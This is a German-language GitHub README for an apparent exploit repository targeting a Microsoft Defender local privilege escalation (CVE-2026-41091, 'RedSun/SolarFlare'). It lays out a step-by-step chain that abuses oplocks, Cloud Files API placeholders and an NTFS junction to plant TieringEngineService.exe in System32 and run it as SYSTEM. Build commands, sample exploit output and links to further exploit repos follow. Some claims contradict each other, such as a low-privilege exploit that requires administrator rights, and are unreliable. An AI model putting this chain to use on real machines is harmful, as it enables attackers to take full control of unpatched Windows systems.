
CVE-2026-41091-PoC-Exploit Full-PoCv2
CVE-2026-41091 RedSun | Microsoft-Defender-LPE-Exploit. Niedrigprivilegierte Benutzer erlangen NT AUTHORITY\SYSTEM π₯ ΓΌber Cloud Files API + NTFS-Junction-Tricks. Zwingt Defender, schΓ€dliche Payloads mit SYSTEM-Rechten nach System32 zu schreiben. β οΈ Aktiv in freier Wildbahn ausgenutzt. CVSS 7.8. Patch: Defender Engine 1.1.26040.8. π‘οΈ Nur zu Bildungszwecken (PoC).

βοΈ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE-Exploit
Microsoft Defender Link-Following-Schwachstelle - Lokale Rechteausweitung auf NT AUTHORITY\SYSTEM
Die Schwachstelle ist als "RedSun" bekannt π―, "SolarFlare" ist der Name, den ich meinem Exploit gegeben habe. β
π Γbersicht
Dieses Repository enthΓ€lt einen vollstΓ€ndig funktionsfΓ€higen Proof of Concept (PoC)-Exploit fΓΌr CVE-2026-41091, eine kritische lokale Rechteausweitungs-Schwachstelle in Microsoft Defender (Microsoft Malware Protection Engine). Durch die Ausnutzung einer fehlerhaften LinkauflΓΆsung (CWE-59) kann ein authentifizierter Angreifer mit niedrigen Rechten NT AUTHORITY\SYSTEM-Berechtigungen erlangen.
Die Schwachstelle, auch bekannt als "RedSun" oder "SolarFlare", ermΓΆglicht es Angreifern, Microsoft Defender dazu zu bringen, mithilfe der Cloud Files API (CfAPI) und NTFS-Junction-Points beliebige Dateien mit SYSTEM-Berechtigungen an geschΓΌtzte Systemspeicherorte zu schreiben.
Hinweis: Dieses Repository enthΓ€lt zwei Versionen:
basic_poc.cpp- Einfache Algorithmus-Demonstration (zu Lehrzwecken)full_poc.cpp- VollstΓ€ndiger funktionsfΓ€higer Exploit mit allen Funktionen
π₯ Hauptfunktionen
| Kategorie | Funktionen |
|---|---|
| Ausnutzung | β
Lokale Rechteausweitung auf SYSTEM β Cloud Files API (CfAPI) Integration β Erstellung von Cloud-Platzhaltern β NTFS-Junction-Umleitung |
| Techniken | β
Batch-Oplock-Missbrauch β VSS-Snapshot-Erkennung β EICAR-Trigger β COM-Dienstaktivierung |
| Ziel | β
Microsoft Defender < 1.1.26040.8 β Windows 10/11 β Windows Server 2019/2022 |
| Benutzerfreundlichkeit | β
Detaillierte Protokollierung β Fehlerbehandlung β ZufΓ€llige Verzeichnisnamen β Automatische Bereinigung |
π― Schwachstellendetails
| Attribut | Wert |
|---|---|
| CVE ID | CVE-2026-41091 |
| CVSS Score | 7.8 (Hoch) |
| CVSS Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Angriffsvektor | Lokal |
| Erforderliche Rechte | Niedrig |
| Benutzerinteraktion | Keine |
| Auswirkung | CodeausfΓΌhrung mit SYSTEM-Rechten |
| CISA KEV | β Ja (aktiv in freier Wildbahn ausgenutzt) |
| Patch verfΓΌgbar | Microsoft Malware Protection Engine 1.1.26040.8 |
π¦ Betroffene Produkte
| Produkt | Betroffene Versionen | Behobene Versionen |
|---|---|---|
| Microsoft Malware Protection Engine | < 1.1.26040.8 | 1.1.26040.8+ |
| Microsoft Defender Antimalware Platform | < 4.18.26040.7 | 4.18.26040.7+ |
π¬ Exploit-Kette
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β SOLARFLARE EXPLOIT CHAIN β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β 1. Create Working Directory β
β ββ> %TEMP%\SF-XXXX\ β
β β
β 2. Trigger Defender with EICAR β
β ββ> Write reversed EICAR to bait file β
β β
β 3. Wait for VSS Snapshot β
β ββ> Detect Volume Shadow Copy creation β
β β
β 4. Create First Batch Oplock β
β ββ> FSCTL_REQUEST_BATCH_OPLOCK on bait file β
β β
β 5. Wait for Oplock Break β
β ββ> Acquire exclusive access β
β β
β 6. Rename Directory β
β ββ> Move original directory to .tmp β
β β
β 7. Register Cloud Sync Root β
β ββ> CfRegisterSyncRoot with Cloud Files API β
β β
β 8. Create Cloud Placeholder β
β ββ> CfCreatePlaceholders for bait file β
β β
β 9. Create Second Batch Oplock β
β ββ> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder β
β β
β 10. Wait for Second Oplock Break β
β ββ> Acquire exclusive access β
β β
β 11. Rename Cloud Directory β
β ββ> Move cloud directory to .cloud.tmp β
β β
β 12. Create NTFS Junction to System32 β
β ββ> Redirect to C:\Windows\System32 β
β β
β 13. Copy Payload to System32 β
β ββ> Copy bait file to System32 as TieringEngineService.exe β
β β
β 14. Activate Service as SYSTEM β
β ββ> CoCreateInstance(StorageTiersManagement) β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π¦ Installation
Voraussetzungen
- Windows 10/11 oder Windows Server 2019/2022
- Visual Studio 2019/2022 mit C++-Tools
- Administratorrechte (fΓΌr die AusfΓΌhrung)
Erstellen
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit
# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
π οΈ Verwendung
VollstΓ€ndiger Exploit (Rechteausweitung auf SYSTEM)
full_poc.exe
Basisalgorithmus-Demonstration
basic_poc.exe
π Beispielausgabe
Ausgabe des vollstΓ€ndigen Exploits
CVE-2026-41091 SolarFlare PoC
===============================
by @tc4dy | CVSS 7.8
===============================
[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM
[+] SYSTEM access obtained!
Ausgabe des Basis-PoC
CVE-2026-41091 Basic PoC
========================================
Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe
[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.
π§ Kompilieranleitung
Mit Visual Studio
- Γffnen Sie die Developer-Eingabeaufforderung fΓΌr VS 2022
- Navigieren Sie zum Exploit-Verzeichnis
- FΓΌhren Sie Folgendes aus:
# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib
# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib
Mit CMake
cmake_minimum_required(VERSION 3.10)
project(SolarFlare)
set(CMAKE_CXX_STANDARD 17)
add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)
add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)
β οΈ Anforderungen und EinschrΓ€nkungen
| Anforderung | Details |
|---|---|
| Betriebssystem | Windows 10/11, Server 2019/2022 |
| Berechtigungen | Administrator (fΓΌr die AusfΓΌhrung) |
| Defender | Microsoft Defender muss aktiviert sein |
| Internet | Erforderlich fΓΌr VSS-Snapshot-Erkennung |
| Patch | Funktioniert nur auf ungepatchten Systemen |
| Architektur | Nur x64 |
π Verwandte Exploits
Schauen Sie sich meine anderen Exploit-Repositories an:
- CVE-2026-24061-PoC-Exploit - GNU-inetutils-telnetd-Authentifizierungsumgehung
- CVE-2026-41940-PoC-Exploit - cPanel/WHM-Authentifizierungsumgehungs-Exploit
- CVE-2026-0073-PoC-Exploit - Android-ADB-Wireless-Debugging-Authentifizierungsumgehung